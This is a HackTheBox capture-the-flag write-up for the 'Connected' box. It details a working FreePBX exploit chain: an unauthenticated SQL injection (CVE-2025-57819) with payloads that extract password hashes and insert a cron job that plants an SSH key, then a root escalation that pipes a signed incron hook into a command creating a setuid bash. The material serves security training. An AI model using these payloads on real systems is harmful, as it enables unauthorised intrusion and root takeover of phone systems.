← Back to all writeups

HTB: Connected — FreePBX SQLi to Root via an incron Hook That Forgot About the Pipe

HACKTHEBOX EASY LINUX FREEPBX SQL INJECTION INCRON CVE-2025-57819
Author: th3_m4d_h4ck3r  |  Framework: Scarif Operations  |  Season 11

> OVERVIEW

Connected is an Easy-rated Linux box that front-loads a clean, well-documented foothold — a preauth SQL injection in FreePBX's endpoint module (CVE-2025-57819) — and then hides its real teeth in privilege escalation. The foothold took minutes. Root took discipline: three plausible, almost-working FreePBX privesc paths each failed for a different boring reason, and the one that worked hinged on a single character that a root-owned "sanitizer" forgot to blacklist. This writeup spends most of its length on the privesc, because that's where the box actually lives.

> RECON

nmap -p- -sC -sV --min-rate 5000 <target>
PortService
22OpenSSH 7.4
80Apache 2.4.6 (CentOS) — redirect to connected.htb
443Apache + PHP 7.4.16 — TLS cert CN pbxconnect, redirect to /admin

The anomaly is the path, as always. A CentOS/PHP-7.4 host whose TLS cert is issued to pbxconnect and whose web root bounces to /admin is a FreePBX PBX. The admin footer gives the exact version — FreePBX 16.0.40.7 — which is squarely inside the window for the 2025 unauthenticated endpoint-module SQL injection.

> FOOTHOLD — CVE-2025-57819 (PREAUTH SQLi → CRON RCE)

The endpoint module's ajax.php is reachable without authentication and passes its brand parameter into SQL with no sanitization. A single quote is all it takes to confirm:

curl -sk "https://<target>/admin/ajax.php?module=FreePBX\modules\endpoint\ajax\
&command=model&template=x&model=model&brand=x'"
# ...1064 You have an error in your SQL syntax... near 'x' AND (`key` LIKE 'model%' ...

The brand value actually feeds two different queries with different column counts, so UNION fights you. Error-based extraction is the path of least resistance — bearing in mind extractvalue() truncates output at 32 characters, so long values come out in halves:

…&brand=x' AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,0x3a,password_sha1) FROM ampusers)))-- -
# ~admin:[SHA1 redacted]   (and, annoyingly, NOT in rockyou)
The admin hash doesn't crack and the DB user holds only USAGE (no FILE privilege, so no INTO OUTFILE webshell). The intended RCE is cleaner than either: FreePBX stores its own scheduled tasks in a cron_jobs table, and its scheduler runs them as the asterisk user every minute. A stacked injection inserts our own job.
…&brand=x';INSERT INTO cron_jobs
 (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
 VALUES ('x','x','<COMMAND>',NULL,'* * * * *',30,1,1)-- -

This is exactly what Metasploit's exploit/unix/http/freepbx_unauth_sqli_to_rce automates (its success marker is the odd error "Trying to access array offset on value of type bool", which means the INSERT landed). Rather than a Meterpreter reverse shell, the command here just plants an SSH key — because of a local quirk worth calling out:

The attack host runs ufw with default-deny on inbound. A reverse shell or Metasploit fetch-stager is a connection back to the attacker — i.e. inbound to our box — and dies at our own firewall with no root to open the port. So we flip direction: the cron command drops our public key into asterisk's authorized_keys, and we connect outbound over SSH. Outbound to target:22 is never blocked.
# <COMMAND> the cron runs as asterisk:
for h in /home/asterisk /var/lib/asterisk; do mkdir -p $h/.ssh; \
  echo '<OUR_PUBKEY>' >> $h/.ssh/authorized_keys; done

# ~60s later:
ssh -i id_con asterisk@<target>
asterisk@connected$ cat /home/asterisk/user.txt
[user flag captured ✅]

/etc/freepbx.conf hands over the app DB credentials (freepbxuser) for free once you're on the box — useful in a moment.

> PRIVESC — THREE DEAD ENDS FIRST

asterisk owns the entire FreePBX install — /var/www/html, /var/lib/asterisk/bin/fwconsole, even /etc/freepbx.conf. That screams "get root to run FreePBX code." Three natural attempts, three different failures:

PwnKit (CVE-2021-4034) was also a no-go: polkit-0.112-26.el7_9.1 is the patched build. When enumeration stalls, stop guessing and watch: a tight ps-spy loop from the foothold catches short-lived root cron / incron children and localhost daemons.
for i in $(seq 1 100); do ps -eo user,ppid,pid,cmd --no-headers; sleep 0.6; done
That surfaced incrond (root) and a root aiohttp service on 127.0.0.1:4000 (aiovega). The latter was a red herring — it's a proxy to remote Vega hardware with no local subprocess. incrond was the real path.

> ROOT — THE incron HOOK THAT FORGOT ABOUT THE PIPE

FreePBX ships /etc/incron.d/* tables. One watches an asterisk-writable directory and runs a dispatcher as root on any file event:

/var/spool/asterisk/incron  IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE  /usr/bin/sysadmin_manager $#

(Cheap liveness proof: drop a file in that directory and watch root delete it within seconds.) sysadmin_manager parses the trigger filename as module.hook.params, GPG-verifies the module's module.sig and the hook's hash — so we can't forge or modify hooks — and then sanitizes the params before running them:

// out-of-spec / non-ASCII chars rejected
if (preg_match('/[^\x20-\x7e]/', $params)) exit;
// "extra double sanity check"
if (preg_match('/[`\'"$><&;]/', $params)) exit;
...
system("$hookfile $params");   // ← runs as ROOT
Look closely at that blacklist: ` ' " $ > < & ; — every classic shell metacharacter except the pipe. | sails straight through. And since system() runs the whole string through /bin/sh, a pipe lets us feed a legitimately-signed hook's output into any command we like, as root.

The lever is the filestore/addpubkey hook — a plaintext, validly-signed PHP script that simply appends its argument to /root/.ssh/authorized_keys. We don't even care what it does; we only need it as the left-hand side of a pipe. The .CONTENTS filename form lets the payload live in the file body, so the / and | characters never have to appear in the filename:

# trigger file name:
/var/spool/asterisk/incron/filestore.addpubkey.CONTENTS
# its contents (= the root-sanitized but pipe-friendly params):
x | install -m 4755 /bin/bash /var/tmp/.dcsh

install -m 4755 copies bash and sets the setuid bit in one shot. /var/tmp lives on the root xfs filesystem (not nosuid, unlike /tmp and /dev/shm), so the setuid bit sticks:

asterisk@connected$ printf 'x | install -m 4755 /bin/bash /var/tmp/.dcsh' \
  > /var/spool/asterisk/incron/filestore.addpubkey.CONTENTS
asterisk@connected$ ls -l /var/tmp/.dcsh
-rwsr-xr-x 1 root root 964536 /var/tmp/.dcsh

asterisk@connected$ /var/tmp/.dcsh -p -c 'id; cat /root/root.txt'
uid=999(asterisk) gid=1000(asterisk) euid=0(root) groups=1000(asterisk)
[root flag captured ✅]

> ATTACK CHAIN SUMMARY

  1. TLS cert pbxconnect + /admin redirect fingerprints FreePBX 16.0.40.7
  2. Unauthenticated SQL injection in the endpoint module's ajax.php brand parameter (CVE-2025-57819); confirmed and looted error-based
  3. Stacked-query INSERT INTO cron_jobs plants a task the FreePBX scheduler runs as asterisk every minute
  4. That task drops our SSH key (reverse shells blocked by our own egress firewall) → SSH in as asterisk
  5. Root-owned incrond runs sysadmin_manager on events in an asterisk-writable spool directory
  6. sysadmin_manager's param blacklist misses |; a signed filestore/addpubkey hook is piped into install -m 4755 to drop a setuid-root bash
  7. /var/tmp/.dcsh -p → euid=0 → root

> LESSONS LEARNED


Scarif Operations  |  th3m4dh4ck3r.com  |  CPTS prep, Season 11